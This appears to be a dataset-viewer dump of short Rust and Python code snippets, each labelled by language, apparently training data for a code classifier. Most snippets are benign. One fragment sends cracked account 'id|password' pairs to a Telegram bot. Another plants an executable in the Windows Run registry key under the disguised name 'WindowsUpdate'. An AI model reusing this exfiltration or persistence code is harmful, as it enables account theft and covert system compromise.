text string | label_name string | labels int64 |
|---|---|---|
this).unsafe_cast_ref())
}
unsafe {
let f: Box_<F> = Box_::new(f);
connect_raw(
self.as_ptr() as *mut _,
b"notify::proxy-target\0".as_ptr() as *const _,
Some(transmute::<_, unsafe extern "C" fn()>(
notify_proxy_t... | Rust | 0 |
class Solution:
def mySqrt(self, x: int) -> int:
i = 0
j = x
res = i
while(i<=j):
mid = i+(j-i)//2
if mid**2 == x:
return mid
if mid**2 < x:
res = mid
i = mid+1
else:
... | Python | 1 |
(None, Some(Self::binary), Precedence::Factor),
TokenType::Number => ParseRule(Some(Self::number), None, Precedence::None),
TokenType::Nil => ParseRule(Some(Self::literal), None, Precedence::None),
TokenType::False => ParseRule(Some(Self::literal), None, Precedence::None),
... | Rust | 0 |
4ad702d20871b,
0xc2c1f4140d92e3d8,
0xac9942226f48234b,
0xa2a1c4acdb3a9b4c,
0x6d4a504ee9c8b817,
0x9cf836fd234056a9,
0x1701959f3f8df,
])),
Fq::from_repr(BigInteger768([
... | Rust | 0 |
crate::field::{FieldDecode, FieldEncode, UnknownFieldDecoder};
use crate::value::{ValueDecode, ValueEncode};
use crate::wire::{LengthDelimitedDecoder, LengthDelimitedEncoder, TagDecoder, WireType};
use bytecodec::combinator::{Map, MapErr, MapFrom, PreEncode, TryMap, TryMapFrom};
use bytecodec::{ByteCount, Decode, Enco... | Rust | 0 |
inner }
}
}
impl<I, A> tower::Service<I> for Accept<A>
where
A: tower::Service<SensorIo<I>, Response = ()>,
{
type Response = ();
type Error = A::Error;
type Future = A::Future;
fn poll_ready(&mut self, cx: &mut Context<'_>) -> Poll<Result<(), Self::Error>> {
self.inner.poll_ready(cx)... | Rust | 0 |
#!/usr/bin/env python
# Copyright 2022 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unles... | Python | 1 |
"));
f.delete().expect("error");
*/
println!("{}",lib::len(file).unwrap());
let mut f = lib::FileIndexing_with_capacity{
file:file.to_string(),
capacity:1000,
buf:String::with_capacity(200),
};
f.rotate(2);
}<filename>contracts/cw4-voting/src/msg.rs
use cw_co... | Rust | 0 |
fn hostile_death(hostile: &mut Object, game: &mut Game) {
game.messages.add(format!("{} is dead", hostile.name), ORANGE);
hostile.char = '%';
hostile.color = DARK_RED;
hostile.blocks = false;
hostile.fighter = None;
hostile.ai = None;
hostile.name = format!("remains of {}", hostile.name);
... | Rust | 0 |
me(name) {
None => {
let queue_id = self.next_queue_id;
info!("Created queue '{}' (id: {})", name, queue_id);
self.next_queue_id += 1;
let queue = Arc::new(ExchangeQueue::new(name, queue_id, options));
self.queues.insert(queue_... | Rust | 0 |
import allure
from playwright.sync_api import Page
from pages.base_page import BasePage
class MainPage(BasePage):
def __init__(self, page: Page):
super().__init__(page)
self.page = page
self.__slider_carousel = "#slider-carousel"
self.__login_button = "a[href='/login']"
s... | Python | 1 |
rialize(buf))
}
}
impl BinaryValue for [u8; HASH_SIZE] {
fn to_bytes(&self) -> Vec<u8> {
self.to_vec()
}
fn from_bytes(bytes: Cow<'_, [u8]>) -> Result<Self, failure::Error> {
let bytes = bytes.as_ref();
ensure!(
bytes.len() == HASH_SIZE,
"Unable to decod... | Rust | 0 |
import subprocess
import os
import sys
appLocation=os.path.expanduser(os.path.join("~","ysbin","build64","trunk","src","ysflight","src","main"))
winAppConfig="Release"
bitness="64"
def ExeExt():
if sys.platform.startswith('win') or sys.platform.startswith('cygwin'):
return ".exe"
return ""
def GetTestBinar... | Python | 1 |
from django import forms
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.forms import UserChangeForm
from django.contrib.auth.forms import UsernameField
from django.utils.translation import gettext_lazy as _
# Register your models here.
from .models import BlogUser
class BlogUserCreationForm... | Python | 1 |
from .cli import cli
from .s3 import S3Path
__all__ = ["cli", "S3Path"]
| Python | 1 |
ntics="vector_classification",
x=task.all_vectors[task.idxs],
y=task.all_labels[task.idxs])
def best_model_indexed_vector_classification(self, train, valid):
return self.best_model_vector_classification(
self._fallback_indexed_vector(train),
self._fallback_in... | Python | 1 |
, np_out, rtol=1e-5, atol=1e-5)
print("Passed!")
print(s.build(target="vhls"))
def test_concat():
from allo.library.nn import concat
B, N1, N2, C = 2, 3, 4, 5
x1 = np.random.randn(B, N1, C).astype(np.float32)
x2 = np.random.randn(B, N2, C).astype(np.float32)
s = allo.customize(concat, in... | Python | 1 |
from OpenGL.GL import *
from OpenGL.GLUT import *
from OpenGL.GLU import *
import math
def draw_pixel(x, y):
glPointSize(0.5)
glBegin(GL_POINTS)
glVertex2i(x, y)
glEnd()
glFlush()
def linePM(x0, y0, xEnd, yEnd):
dx = abs(xEnd - x0)
dy = abs(yEnd - y0)
p = 2 * dy - dx
twoDy = 2 * ... | Python | 1 |
est::<Example>(framework::FrameworkRefTest {
image_path: "/examples/boids/screenshot.png",
width: 1024,
height: 768,
optional_features: wgpu::Features::default(),
base_test_parameters: framework::test_common::TestParameters::default()
.downlevel_flags(wgpu::DownlevelF... | Rust | 0 |
self.Twc.translateRight(tvel)
change = True
if draw.PGUP:
self.Twc.translateUp(tvel)
change = True
if draw.PGDOWN:
self.Twc.translateDown(tvel)
change = True
if draw.KEY_A:
self.Twc.rotateYaw(-rvel)
... | Python | 1 |
# Matrix
'''matrix=[
[1,2,3],
[2,4,6],
[7,8,9],
]
print(matrix[0][1])
basket=[
["Banana","apple"],
[["Oranges"],["blueberrries"]],
]
print(basket[1][0])
'''
# note- matrix ko square brackets ko band karne ke badh coma lagate hai
# 1 matrix 1
num=[
[10,20,30],
[40,50,60],
[60,70,80],
]
... | Python | 1 |
lter == libc::EVFILT_READ as Filter {
r
} else {
w
};
if change.data as i32 == libc::ENOENT && orig_flags & libc::EV_DELETE != 0 {
continue;
}
return Err(::std::io::Error::from_ra... | Rust | 0 |
#Storing counting in another array
A = [1,1,1,1,5,5,5,0,8,1,1,1,1,9]
m = len(A)
def counting(A, m):
n = len(A)
count = [0] * (m + 1)
for k in range(n):
count[A[k]] += 1
return count
print(counting(A,m))
| Python | 1 |
},
),
bs: vs.var(bias_name, &[out_features], Init::Const(0.)),
}
}
#[derive(Clone, Debug, Error)]
#[non_exhaustive]
pub enum BertError {
#[cfg(feature = "load-hdf5")]
#[error(transparent)]
HDF5(#[from] hdf5::Error),
#[error("hidden size ({hidden_size:?}) is not a multiple of atten... | Rust | 0 |
file = pageobject.screenshot(path=path, full_page=True)
# 使用allure自带的添加附件的方法,三个参数分别为:源文件、文件名、文件类型
allure.attach(file, "执行完毕截图", allure.attachment_type.PNG)
@pytest.hookimpl(trylast=True)
def pytest_configure(config: Config):
"""
初始配置钩子,自定义allure日志采集器
"""
... | Python | 1 |
# The Hamming distance between two integers is the number of positions at which the corresponding bits are different.
#
# Given two integers x and y, return the Hamming distance between them.
# Example 1:
#
# Input: x = 1, y = 4
# Output: 2
# Explanation:
# 1 (0 0 0 1)
# 4 (0 1 0 0)
# ↑ ↑
# The above arrow... | Python | 1 |
: __BindgenBitfieldUnit<[u8; 1usize], u8>,
pub __bindgen_padding_0: [u8; 5usize],
}
impl Default for lv_mem_buf_t {
fn default() -> Self {
unsafe { ::core::mem::zeroed() }
}
}
impl lv_mem_buf_t {
#[inline]
pub fn used(&self) -> u8 {
unsafe { ::core::mem::transmute(self._bitfield_1.ge... | Rust | 0 |
fp.writerow(["Contract address", "Balance", "No. of TXs", "Note"])
with open(list_of_contracts, "r") as f:
for contract in f.readlines():
if len(contract.strip()) == 0:
continue
contract_addr = contract.split(".")[0].split("_")[1]
... | Python | 1 |
ider_extractor._provider_version.protocols == expected_property
mock_get_release_artifact.assert_called_once_with(
provider=provider_extractor._provider,
artifact_metadata=terrareg.provider_source.repository_release_metadata.ReleaseArtifactMetadata(
... | Python | 1 |
ip['weights'][get_weights_period(ship_current_time)].items():
weights_ice[str(eid)] = weights['provided']
path_to_destination = dynamic_weight_shortest_path(G, ship_start, ship_end, weights_ice)
time1 = dynamic_weight_shortest_path_length(G, 8, 47, weights_ice)
... | Python | 1 |
n exec(&self) {
loop {
let (lock, cond) = &*self.data;
let mut data = lock.lock().unwrap();
if data.need_poll.is_empty() {
if data.sleeping.is_empty() {
// no tasks, we're done
break;
}
... | Rust | 0 |
from typing import List
from collections import Counter
class Solution:
def generatePalindromes(self, s: str) -> List[str]:
nn, result = len(s), []
def getPerm(comb, counter):
if len(comb) == nn:
result.append(comb)
return
for letter in count... | Python | 1 |
, f2.offset);
assert_eq!(AccessSpec::WriteOnly, f2.access.unwrap());
assert_eq!("F3", f3.name);
assert_eq!("Abc", f3.description.clone().unwrap());
assert_eq!(4, f3.width);
assert_eq!(5, f3.offset);
assert_eq!(AccessSpec::ReadWrite, f3.access.unwrap());
assert_eq!("F4", f4.name);
asser... | Rust | 0 |
exNaming::CellConcatenationWithRoot => {
format!("r{}", self.to_string(MortonIndexNaming::CellConcatenation))
}
crate::MortonIndexNaming::GridIndex => {
let grid_index = self.to_grid_index(OctantOrdering::default());
format!(
"{... | Rust | 0 |
//let input = fs::read_to_string("./sample_input2.txt").unwrap();
//let input = fs::read_to_string("./sample_input3.txt").unwrap();
let input = fs::read_to_string("./input.txt").unwrap();
for line in input.lines() {
let (from, to) = line.split_once('-').unwrap();
graph.add_cave(from);
... | Rust | 0 |
U16!((bytes[offset_byte]) as u16 & 0x07);
data[offsetdata + 1] = U16!(((bytes[offset_byte]) as u16 >> 3) & 0x07);
data[offsetdata + 2] = U16!(
(((bytes[offset_byte]) as u16 >> 6) & 0x03)
| (((bytes[offset_byte + 1]) as u16 & 0x01) << 2)
);
... | Rust | 0 |
pub fn set_bit(self) -> &'a mut W {
self.bit(true)
}
#[doc = r" Clears the field bit"]
pub fn clear_bit(self) -> &'a mut W {
self.bit(false)
}
#[doc = r" Writes raw bits to the field"]
#[inline]
pub fn bit(self, value: bool) -> &'a mut W {
const MASK: bool = true... | Rust | 0 |
where F: FnMut(&mut Graph, usize)
{
for epoch in 0..epochs {
// Upload training data
for &(var, data) in training_data {
var.write(graph, &data[epoch]);
}
// Run the graph
graph.forward();
graph.backward();
... | Rust | 0 |
load_config_file(path).map(|v| v.set_defaults())
}
/** Loads the config while preserving the metadata of it
This is useful for checking where the config comes from (eg. in `show_config_subcommand`)
*/
pub fn load_config_meta () -> Result<Metadata<Meta, RawConfig>> {
let (path, loc) = terror! { file::find_config_fil... | Rust | 0 |
import torch
import torch.nn as nn
import torch.optim as optim
import os
from PIL import Image
from classification import Classification
classfication = Classification()
def predict(img_path_folder):
print(img_path_folder)
last_part = img_path_folder.split('/')[-1] # 适用于Unix风格的路径
print(int(last_part))
... | Python | 1 |
import numpy as np
import pandas as pd
from pyspark.sql import functions as F
from pyspark.sql import Window
from pyspark.sql.types import *
class Vintage():
"""
计算 Vintage
"""
def __init__(
self, df, loan_id='id', loan_period_name='period',
observe_date='20150228', observe_per... | Python | 1 |
-> &[u8] {
if i == 0 {
buf[0] = b'0';
return &buf[..1]
}
let mut off = buf.len();
let mut q: u64;
let mut p: u64;
while i >= 100 {
q = i / 1000;
p = (i - (q * 1000)) * 3;
i = q;
off -= 3;
buf[off] = DIGIT3[p as usize];
buf[off + 1... | Rust | 0 |
}
impl<PIN0, PIN1> RxpoTxpo for [<$Type Padout>]<[<$Sercom $pad0>]<PIN0>, [<$Sercom $pad1>]<PIN1>, (), ()> {
fn rxpo_txpo(&self) -> (u8, u8) {
$rxpo_txpo
}
}
}
};
... | Rust | 0 |
import sys
import subprocess
from random import randint
### target
c_p = input("contest, problem = ")
if c_p == "": # デフォルト入力
c = "abc298"
p = "d"
else:
c, p = c_p.split()
### BUILD
bld = "cargo build --bin "+ c + "_" + p
res = subprocess.run(bld, shell=True)
if res.returncode != 0:
print("build er... | Python | 1 |
import pytest
from grid import Grid
@pytest.fixture
def grid():
return Grid(3, 3) # Create a 3x3 grid for testing
def test_initialization(grid: Grid) -> None:
assert len(grid.grid) == 3
assert len(grid.grid[0]) == 3
def test_is_cell_in_bounds(grid: Grid) -> None:
assert grid.is_cell_in_bounds(0, ... | Python | 1 |
city(128 * 1024);
let mut actions = String::new();
self.build_actions_js(&mut actions).map_err(|_| Error::Unspecified(line!()))?;
let mut commands = String::new();
self.build_commands_js(&mut commands).map_err(|_| Error::Unspecified(line!()))?;
let mut modes = String::new();
... | Rust | 0 |
son.dumps(line) + "\n"
monkeypatch.setattr(
TrufflehogScanner, "_run_trufflehog",
lambda self, text: _fake_cp(stdout, returncode=2, stderr_text="warn"),
)
res = scanner.scan("dummy")
assert res.flagged is True
assert res.score == 1.0
assert res.reasons and res.reasons[0]["Detec... | Python | 1 |
bytes().enumerate() {
if byte == b'#' {
asteroids.push((x as i64, y as i64));
}
}
}
asteroids
}
pub fn solution() {
let input = fs::read_to_string("inputs/2019/10.txt").unwrap();
let asteroids = parse_asteroids(&input);
println!("Solution 1: {}", find_best_location(&asteroids));
pr... | Rust | 0 |
.long("database-uri")
.takes_value(true)
.required(true)
.help(r#"Database uri, for example: --database-uri="user:secret@localhost/mydb""#),
),
)
.subcommand(SubCommand::with_name("list").about("List projects"))
.subcommand(
SubCommand::with_name... | Rust | 0 |
from crewai import Agent
from .tools import search_tool,scrape_tool
from dotenv import load_dotenv
load_dotenv()
import os
import settings
os.environ["GEMINI_API_KEY"] = os.environ.get('GEMINI_API_KEY')
llm = "gemini/gemini-1.5-flash-8b"
data_analyst_agent = Agent(
role="Data Analyst",
goal="Monitor and anal... | Python | 1 |
tuscp, style='red')
cetak(nel(statuscp1, title=''))
open('CP/'+cp,'a').write(idf+'|'+pw+'\n')
akun.append(idf+'|'+pw)
cp+=1
requests.get(f"https://api.telegram.org/bot"+str(token)+"/sendMessage?chat_id="+str(ID)+"&text="+str(statuscp))
akun.append(idf+'|'+pw)
cp+=1
break
elif "c_... | Python | 1 |
import logging
import asyncio
import os
import sys
import aiofiles
import yaml
class Config:
def __init__(self):
self.headers = {
"authority": "api.bilibili.com",
"method": "GET",
"scheme": "https",
"accept": "*/*",
"accept-language": "zh-CN,zh;q... | Python | 1 |
round=[
dict(
role="HUMAN",
prompt=
f"以下是中国关于{_ch_name}考试的单项选择题,请选出其中的正确答案。\n{{question}}\nA. {{A}}\nB. {{B}}\nC. {{C}}\nD. {{D}}\n答案: "
),
... | Python | 1 |
ics Advanced Module')
continue
if cmd.count('(') > cmd.count(')'):
print("SyntaxError: unexpected EOF while parsing.\n")
elif cmd.count('(') < cmd.count(')'):
print("SyntaxError: unmatched ')'.\n")
else:
maincmd = cmd.sp... | Python | 1 |
Step::Commit => 4,
}
}
}
impl From<u8> for Step {
fn from(s: u8) -> Self {
match s {
0 => Step::Propose,
1 => Step::Prevote,
2 => Step::Precommit,
3 => Step::Brake,
4 => Step::Commit,
_ => panic!("Invalid step!... | Rust | 0 |
wait_for_port_available(port):
unreal.log(f"UEMCP: Successfully freed port {port}")
return True
else:
unreal.log_error(f"Killed process but port {port} is still in use")
return False
else:
unreal.log_error("Failed to kill pr... | Python | 1 |
import asyncio
import traceback
import random
from typing import List, Dict, Any
from mcp.server.fastmcp import FastMCP
import uvicorn
from dotenv import load_dotenv
# Load environment variables
load_dotenv('azure.env', override=True)
# Create MCP server
mcp = FastMCP("Card Service MCP Server")
@mcp.tool()
async def... | Python | 1 |
());
let stderr_is_pty = is_pty_stream(&std::io::stderr());
Self {
stdin_is_pty,
stdout_is_pty,
stderr_is_pty,
conin: None,
conout: None,
conin_pipe: None,
conout_pipe: None,
input_mode: None,
ou... | Rust | 0 |
= [0u8; 64];
let mut p = 0usize;
for m in a {
x[p] = m;
p += 1;
}
ApiKey::new(x)
}
}
}
impl AsRef<[u8]> for ApiKey {
fn as_ref(&self) -> &[u8] {
&self.0
}
}#![feature(test)]
extern crate smallvec;
extern crate... | Rust | 0 |
[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/BluetoothAdvertisingEvent/txPower)"]
#[doc = ""]
#[doc = "*This API requires the following crate features to be activated: `BluetoothAdvertisingEvent`*"]
#[doc = ""]
#[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_a... | Rust | 0 |
4,
Some("identity0298".to_string()),
1
)
.unwrap()
);
assert_eq!(
expected_single2,
query_rewarded_set_at_height(
deps.as_ref().storage,
4,
Some("identity0299".... | Rust | 0 |
is accepted in the current edition
impl Foo { fn await() {} }
//~^ ERROR `await` is a keyword in the 2018 edition
//~^^ WARN this is accepted in the current edition
macro_rules! await {
//~^ ERROR `await` is a keyword in the 2018 edition
//~^^ WARN this is accepted in the current edition
() => {}
}
fn main() {
... | Rust | 0 |
import duckdb
import os
# Define database path - store in same directory as script
FOREX_DB = os.path.join(os.path.dirname(__file__), "forex-duckdb.db")
def get_connection(db_path):
"""Create and return a DuckDB connection"""
return duckdb.connect(db_path)
def create_tables(conn):
"""Create required tabl... | Python | 1 |
truct RegisteredProtocolName {
/// Protocol name, as advertised on the wire.
name: Bytes,
/// Version number. Stored in string form in `name`, but duplicated here for easier retrieval.
version: u8,
}
impl ProtocolName for RegisteredProtocolName {
fn protocol_name(&self) -> &[u8] {
&self.name
}
}
impl<B, TSubs... | Rust | 0 |
# Hola mundo
print("Hola mundo")
# Variables
saludo = "Hola mundo" # String
edad = 27 # Integer
altura = 1.75 # Float
programador = True # Boolean
# Constantes
PI = 3.1416
# Condicionales
if programador:
print("Eres programador")
elif edad >= 18:
print("Eres mayor de edad")
else:
print("Eres menor de... | Python | 1 |
timer: i32) {
//&Vec<Texture2D>)
let source = Rectangle::new(0.0, 0.0, 16.0, 16.0);
let dest = Rectangle::new(self.x as f32, self.y as f32, 16.0 * SCALE, 16.0 * SCALE);
d.draw_texture_pro(
&images[((self.id * 4) + self.currentframe) as usize],
source,
... | Rust | 0 |
import json
import matplotlib.pyplot as plt
import os
def plot_benchmark_data(json_file_path, num_entries=100):
"""
Liest Benchmark-Daten aus einer JSON-Datei, nimmt eine bestimmte Anzahl von Einträgen
und erstellt einen Graphen der Geschwindigkeit über die Batch-Namen.
Args:
json_file_path (s... | Python | 1 |
olLookup::new(source);
let start_zero_based: usize = usize::from(span.start()) - 1;
let end_zero_based: usize = usize::from(span.end()) - 1;
let (line_start, col_start) = line_col_lookup.get(start_zero_based);
let (line_end, col_end) = line_col_lookup.get(end_zero_based);
if line_end != line_start {... | Rust | 0 |
b0B\xa1\xfbA\xd0}\x7fi\xfb+\xf9O\xbc\xa6\
\xc4~\x8e\x88\xfd\x1c\xe3\x8f\x22\xefG\xec\x1f\xfd\xa3\x88\
\xfd\xa26\x93\x8d\xdf\x90Q2\xeeSs\xff\xdaX\x03\
v\xd3\xda?ssKO\xaf\xf8e\x1f\xbbe\x9f\x16\
\xfb{\x15\x88\xf3\xb9\xbc{\x5cU\xce\xe4\x0b\x80O\xe3\
u_\x8a\x0dP\xf3\x00\xc4\x01-\xd8\x06@\x06Zj\
\xfd\xc0l\xa1\xfb\xccy\x97go\... | Python | 1 |
{Receiver, Sender, TryRecvError};
use rayon::prelude::*;
use async_trait::async_trait;
#[derive(Debug)]
pub enum ChecksumError {
Generic( String ),
}
impl fmt::Display for ChecksumError {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "ChecksumError")
}
}
impl Error for Che... | Rust | 0 |
from django.db.models import Q
class ClientSearchMixin:
def get_queryset(self):
queryset = super().get_queryset()
query = self.request.GET.get('SearchClients', '')
if query :
return queryset.filter(
Q(name__icontains=query)|
Q(phone_numbe... | Python | 1 |
#!/usr/bin/env python
# Copyright 2008-2010 Isaac Gouy
# Copyright (c) 2013, 2014, Regents of the University of California
# Copyright (c) 2018, 2021, Oracle and/or its affiliates.
# All rights reserved.
#
# Revised BSD license
#
# This is a specific instance of the Open Source Initiative (OSI) BSD license
# template h... | Python | 1 |
# ========== BOOLEANS ==========
print( "Booleans Introduction")
## ======= If Conditions with Booleans =========
Done = True
Done = False
print(Done) # Prints False because Programming is sequential
Done = True
# Evaluating a value for true or false
# If body of if statement is true, then the condition returns t... | Python | 1 |
##############################################################################
# This file is a part of PFFDTD.
#
# PFFTD is released under the MIT License.
# For details see the LICENSE file.
#
# Copyright 2021 Brian Hamilton.
#
# File name: test_script_MV_fcc_viz.py
#
# Description: this shows a simple setup with FCC... | Python | 1 |
"""
This test checks that disabling/enabling the LSP completion snippets
works fine after restarting the language server.
"""
import GPS
from gs_utils.internal.utils import *
EXPECTED_NO_SNIPPET = "Do_Something"
EXPECTED_SNIPPET = "Do_Something (A : Integer)"
@run_test_driver
def run_test():
GPS.Preference("Sm... | Python | 1 |
:
ad_insights_df = pd.DataFrame()
ads = get_ads(my_account)
print(f'Number of Ads: {len(ads)}')
count = 1
for num in range(0, len(ads)):
ad_insight = get_ad_insights(ads[num]['id'])
adinsight_df = pd.DataFrame([ad_insight[i] for... | Python | 1 |
impl<N: Real> RevoluteConstraint<N> {
/// Create a new revolute constraint which ensures the provided axii and anchors always coincide.
///
/// All axii and achors are expressed in the local coordinate system of the corresponding body parts.
#[cfg(feature = "dim3")]
pub fn new(
b1: BodyPartH... | Rust | 0 |
<Integer>,
contest_id -> Nullable<Integer>,
filename -> Varchar,
checksum -> Varchar,
lang_id -> Unsigned<Integer>,
check_type -> Char,
posted_time -> Integer,
checked_time -> Unsigned<Integer>,
contest_time -> Unsigned<Integer>,
test_result -> Int... | Rust | 0 |
t_continue_no_push_case(
ids: VmConsts,
):
ids.cond = 0 if ids.offset > 32 or ids.valid_jumpdest.key < ids.offset else 1
@register_hint
def compare_relocatable_segment_index(ids: VmConsts):
ids.segment_equal = 1 if ids.lhs.segment_index == ids.rhs.segment_index else 0
@register_hint
def trace_tx_end(ids... | Python | 1 |
status => {
println!(
"{} returned '{}', please check your endpoint configuration",
endpoint, status,
);
}
},
Err(err) => ... | Rust | 0 |
gwf.ghb.output.obs(),
]
ylabel = ("head (m)", "flow ($m^3/d$)", "flow ($m^3/d$)")
obs_fig = ("obs-head", "obs-flow", "ghb-obs")
for iplot, obstype in enumerate(obs_list):
fig = plt.figure(figsize=(6, 3))
ax = fig.add_subplot()
tsdata = obstype.data
... | Python | 1 |
(test)]
member_compat_test! {
frame_statistics_compat:
FrameStatistics <=> DXGI_FRAME_STATISTICS {
present_count <=> PresentCount,
present_refresh_count <=> PresentRefreshCount,
sync_refresh_count <=> SyncRefreshCount,
sync_qpc_time <=> SyncQPCTime,
sync_gpu_time <=> Sync... | Rust | 0 |
olver_task);
// FIXME: unhardcode 100
let (bufs_tx, bufs_rx) = mpsc::channel(100);
// let carbon_log = log.clone();
// spawn carbon server
let listen: SocketAddr = "127.0.0.1:2003".parse().unwrap();
let carbon = CarbonServer::new(listen.clone(), bufs_tx, log.clone());
runtime.spawn(carbo... | Rust | 0 |
.create_op_queue(false).unwrap();
device_manager.submit_cuda_op(queue_id, CudaOperation::MemcpyHtoD(y, input_id, 4));
device_manager.submit_cuda_op(
queue_id,
CudaOperation::CudaKernel(
CudaKernel::new(function_id, [1; 6]),
vec![Pointer(x), Pointer... | Rust | 0 |
de'],
as_list = 1
))
party_type_cf_map = frappe._dict(frappe.get_all(
'Cash Flow Code',
filters = {
'party_type':('is', 'set')
},
fields = ['party_type','name'],
as_list = 1
))
party_by_party_type = {... | Python | 1 |
# Copyright 2017 Battelle Energy Alliance, LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | Python | 1 |
match use_item.target {
None => targets.push(*player_entity),
Some(target) => {
let area_of_effect = aoe.get(use_item.item);
match area_of_effect {
None => {
let target_idx = map.point2d_... | Rust | 0 |
nerated, it should be
// fine
if let Some(client_pos) = clients.iter().position(|c| *c == sub_id) {
clients.remove(client_pos);
}
if let Some(s_u_id) = active_subscriptions.remove(&sub_id) {
debug_assert_eq!(s_u_id, *sub_unique_id);
}
}
}
... | Rust | 0 |
_if(root)]
fn test() {
for &pid in &[0, getpid()] {
test_affinity(pid);
for &(policy, nice, priority) in
&[(c::SCHED_OTHER, 2, 0), (c::SCHED_FIFO, 0, 3)]
{
for &flags in &[0, c::SCHED_FLAG_RESET_ON_FORK] {
let mut attr: ... | Rust | 0 |
=> {
C(self.2.dispatch(d, route_match, body))
}
D(d) => {
D(self.3.dispatch(d, route_match, body))
}
}
}
}
// ===== 5 =====
#[derive(Debug, Clone)]
pub enum Either5<A, B, C, D, E> {
A(A),
B(B),
C(C),
D(D),
E(E),
}
impl... | Rust | 0 |
print("add a file")
| Python | 1 |
{player} is not found on this list")
#-----------------------------------------------------------------------------
# List Comprehension = A concise way to crate lists in python
# Compact and easier to read than traditional loops.
# [expression for value in ... | Python | 1 |
enum(0x80D8);
pub const GL_COLOR_TABLE_FORMAT_SGI: GLenum = GLenum(0x80D8);
pub const GL_COLOR_TABLE_GREEN_SIZE: GLenum = GLenum(0x80DB);
pub const GL_COLOR_TABLE_GREEN_SIZE_SGI: GLenum = GLenum(0x80DB);
pub const GL_COLOR_TABLE_INTENSITY_SIZE: GLenum = GLenum(0x80DF);
pub const GL_COLOR_TABLE_INTENSITY_SIZE_SGI: ... | Rust | 0 |
rature_max = pd.DataFrame(max_temperatures_continents)
df_diference_of_temps = df_temperature_max.max(axis=1) - df_temperature_max.min(axis=1)
fig_diff, ax_diff = plt.subplots(figsize=(20, 10))
ax_diff.bar(df_diference_of_temps.index, df_diference_of_temps.values,color ="red")
ax_diff.set_title("Diference between maxi... | Python | 1 |
))
.header(
CONTENT_LENGTH,
HeaderValue::from_str(&content_length.to_string()).unwrap(),
)
.body(body)
.build())
}
}
impl HttpCaller for BigFileHttpCaller {
... | Rust | 0 |
await asyncio.sleep(0.3) # Simulate typing speed
# Find and fill the password field
WebDriverWait(driver, 90).until(EC.presence_of_element_located((By.ID, "password")))
password_field = driver.find_element(By.ID, "password")
for char in password_text:
password_field.send... | Python | 1 |
# control.py - Represents a debian/control file
#
# Copyright (C) 2010, Benjamin Drung <bdrung@debian.org>
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all cop... | Python | 1 |
l.clone();
let pool4 = pool.clone();
let pool5 = pool.clone();
let pool6 = pool.clone();
let pool7 = pool.clone();
let pool00 = pool.clone();
let pool01 = pool.clone();
let pool02 = pool.clone();
let pool03 = pool.clone();
let pool04 = pool.clone();
let pool05 = pool.... | Rust | 0 |
# เพิ่มใน Registry Run
key = winreg.CreateKey(winreg.HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run")
winreg.SetValueEx(key, "WindowsUpdate", 0,
winreg.REG_SZ, executable_path)
winreg.Clo... | Python | 1 |
# Ultralytics YOLO 🚀, AGPL-3.0 license
from ultralytics.models.yolo.segment import SegmentationValidator
from ultralytics.utils.metrics import SegmentMetrics
class FastSAMValidator(SegmentationValidator):
"""
Custom validation class for fast SAM (Segment Anything Model) segmentation in Ultralytics YOLO fram... | Python | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.